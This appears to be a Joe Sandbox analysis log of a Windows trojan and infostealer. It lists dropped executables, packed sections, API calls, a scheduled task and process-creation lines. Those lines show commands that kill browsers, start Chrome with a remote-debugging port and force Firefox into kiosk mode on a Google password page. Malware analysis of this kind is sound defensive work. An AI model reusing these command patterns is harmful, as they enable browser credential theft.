Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49923 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49937 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49961 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49966 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49969 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50064 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50080 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50082 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50124 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50126 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50127 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe

Code function: 17_2_0083EAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

17_2_0083EAFF

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe

Code function: 17_2_0083ED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

17_2_0083ED6A

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe

17_2_0083EAFF

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe

Code function: 17_2_0082AA57 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

17_2_0082AA57

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe

Code function: 17_2_00859576 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

17_2_00859576

System Summary

Binary is likely a compiled AutoIt script file

Source: 9bf3542ba6.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: 9bf3542ba6.exe, 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_fb86f2af-8
Source: 9bf3542ba6.exe, 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_76ea737d-6

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: random[1].exe.11.dr	Static PE information: section name:
Source: random[1].exe.11.dr	Static PE information: section name: .rsrc
Source: random[1].exe.11.dr	Static PE information: section name: .idata
Source: random[1].exe.11.dr	Static PE information: section name:
Source: 472fe34b96.exe.11.dr	Static PE information: section name:
Source: 472fe34b96.exe.11.dr	Static PE information: section name: .rsrc
Source: 472fe34b96.exe.11.dr	Static PE information: section name: .idata
Source: 472fe34b96.exe.11.dr	Static PE information: section name:
Source: random[2].exe.11.dr	Static PE information: section name:
Source: random[2].exe.11.dr	Static PE information: section name: .idata
Source: f186248479.exe.11.dr	Static PE information: section name:
Source: f186248479.exe.11.dr	Static PE information: section name: .idata
Source: random[1].exe0.11.dr	Static PE information: section name:
Source: random[1].exe0.11.dr	Static PE information: section name: .idata
Source: random[1].exe0.11.dr	Static PE information: section name:
Source: 48f66b117f.exe.11.dr	Static PE information: section name:
Source: 48f66b117f.exe.11.dr	Static PE information: section name: .idata
Source: 48f66b117f.exe.11.dr	Static PE information: section name:
Source: random[1].exe1.11.dr	Static PE information: section name:
Source: random[1].exe1.11.dr	Static PE information: section name: .idata
Source: random[1].exe1.11.dr	Static PE information: section name:
Source: 643ebf15b8.exe.11.dr	Static PE information: section name:
Source: 643ebf15b8.exe.11.dr	Static PE information: section name: .idata
Source: 643ebf15b8.exe.11.dr	Static PE information: section name:

Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 37_2_000002397C0D2377 NtQuerySystemInformation,		37_2_000002397C0D2377
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 37_2_000002397C644232 NtQuerySystemInformation,		37_2_000002397C644232

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe

Code function: 17_2_0082D5EB: CreateFileW,DeviceIoControl,CloseHandle,

17_2_0082D5EB

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe

Code function: 17_2_00821201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

17_2_00821201

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe

Code function: 17_2_0082E8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

17_2_0082E8F6

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_0042E530	11_2_0042E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00467049	11_2_00467049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00468860	11_2_00468860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_004678BB	11_2_004678BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00462D10	11_2_00462D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00424DE0	11_2_00424DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_004631A8	11_2_004631A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00424B30	11_2_00424B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00457F36	11_2_00457F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_0046779B	11_2_0046779B
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_007C8060	17_2_007C8060
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_00832046	17_2_00832046
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_00828298	17_2_00828298
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_007FE4FF	17_2_007FE4FF
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_007F676B	17_2_007F676B
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_00854873	17_2_00854873
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_007CCAF0	17_2_007CCAF0
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_007ECAA0	17_2_007ECAA0
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_007DCC39	17_2_007DCC39
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_007F6DD9	17_2_007F6DD9
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_007DB119	17_2_007DB119
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_007C91C0	17_2_007C91C0
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_007E1394	17_2_007E1394
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_007E781B	17_2_007E781B
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_007D997D	17_2_007D997D
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_007C7920	17_2_007C7920
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_007E7A4A	17_2_007E7A4A
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_007E7CA7	17_2_007E7CA7
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_007F9EEE	17_2_007F9EEE
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_0084BE44	17_2_0084BE44
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 37_2_000002397C0D2377	37_2_000002397C0D2377
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 37_2_000002397C644232	37_2_000002397C644232
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 37_2_000002397C64495C	37_2_000002397C64495C
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 37_2_000002397C644272	37_2_000002397C644272

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe 6E71349FF091FA402E51AAD05F77F65EE2EEA8EC824E5B34F5284B7F11EBA1F2

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: String function: 007DF9F2 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: String function: 007E0A30 appears 46 times
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: String function: 007C9CB3 appears 31 times

Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5412 -s 1520

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9980255875340599
Source: file.exe	Static PE information: Section: mlgfdbux ZLIB complexity 0.9943624774028321
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9980255875340599
Source: skotes.exe.0.dr	Static PE information: Section: mlgfdbux ZLIB complexity 0.9943624774028321
Source: random[1].exe.11.dr	Static PE information: Section: odbfcxsw ZLIB complexity 0.9947417996453901
Source: 472fe34b96.exe.11.dr	Static PE information: Section: odbfcxsw ZLIB complexity 0.9947417996453901
Source: random[1].exe0.11.dr	Static PE information: Section: ZLIB complexity 0.9987085199511401
Source: random[1].exe0.11.dr	Static PE information: Section: zkcxhtkx ZLIB complexity 0.9946008888846272
Source: 48f66b117f.exe.11.dr	Static PE information: Section: ZLIB complexity 0.9987085199511401
Source: 48f66b117f.exe.11.dr	Static PE information: Section: zkcxhtkx ZLIB complexity 0.9946008888846272
Source: random[1].exe1.11.dr	Static PE information: Section: smwmjzky ZLIB complexity 0.9950201620655184
Source: 643ebf15b8.exe.11.dr	Static PE information: Section: smwmjzky ZLIB complexity 0.9950201620655184

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@75/24@78/16

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe

Code function: 17_2_008337B5 GetLastError,FormatMessageW,

17_2_008337B5

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_008210BF AdjustTokenPrivileges,CloseHandle,		17_2_008210BF
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Code function: 17_2_008216C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		17_2_008216C3

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe

Code function: 17_2_008351CD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

17_2_008351CD

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe

Code function: 17_2_0082D4DC CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

17_2_0082D4DC

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe

Code function: 17_2_0083648E _wcslen,CoInitialize,CoCreateInstance,CoUninitialize,

17_2_0083648E

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe

Code function: 17_2_007C42A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

17_2_007C42A2

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5344:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8064:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6068:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6092:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4020:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5412
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2024:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: 643ebf15b8.exe, 0000000F.00000002.3466233612.000000001DBD1000.00000004.00000020.00020000.00000000.sdmp, 643ebf15b8.exe, 0000000F.00000002.3472409075.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: 643ebf15b8.exe, 0000000F.00000002.3466233612.000000001DBD1000.00000004.00000020.00020000.00000000.sdmp, 643ebf15b8.exe, 0000000F.00000002.3472409075.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 643ebf15b8.exe, 0000000F.00000002.3466233612.000000001DBD1000.00000004.00000020.00020000.00000000.sdmp, 643ebf15b8.exe, 0000000F.00000002.3472409075.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 643ebf15b8.exe, 0000000F.00000002.3466233612.000000001DBD1000.00000004.00000020.00020000.00000000.sdmp, 643ebf15b8.exe, 0000000F.00000002.3472409075.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: 643ebf15b8.exe, 0000000F.00000002.3466233612.000000001DBD1000.00000004.00000020.00020000.00000000.sdmp, 643ebf15b8.exe, 0000000F.00000002.3472409075.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: 643ebf15b8.exe, 0000000F.00000002.3466233612.000000001DBD1000.00000004.00000020.00020000.00000000.sdmp, 643ebf15b8.exe, 0000000F.00000002.3472409075.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: 643ebf15b8.exe, 0000000F.00000002.3466233612.000000001DBD1000.00000004.00000020.00020000.00000000.sdmp, 643ebf15b8.exe, 0000000F.00000002.3472409075.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF8AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: selectedBrowserOffersuserforceAboutBlankViewerInCurrentfirstContentWindowPaintPromiseinitialPageLoadedFromUserActionDownloadsMacFinderProgress@mozilla.org/filepicker;1-----BEGIN CERTIFICATE-----
Source: 48f66b117f.exe, 0000000E.00000003.3107043697.0000000005C32000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3079569512.0000000005BC6000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3080325016.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3106127254.0000000005BA4000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3242802531.0000000005D96000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3243489071.0000000005D78000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3277798382.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: 643ebf15b8.exe, 0000000F.00000002.3466233612.000000001DBD1000.00000004.00000020.00020000.00000000.sdmp, 643ebf15b8.exe, 0000000F.00000002.3472409075.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: 643ebf15b8.exe, 0000000F.00000002.3466233612.000000001DBD1000.00000004.00000020.00020000.00000000.sdmp, 643ebf15b8.exe, 0000000F.00000002.3472409075.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe

ReversingLabs: Detection: 50%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 643ebf15b8.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe "C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe "C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe "C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe "C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe "C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe"
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2368 --field-trial-handle=2208,i,14654949757915549124,6603204216961418985,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
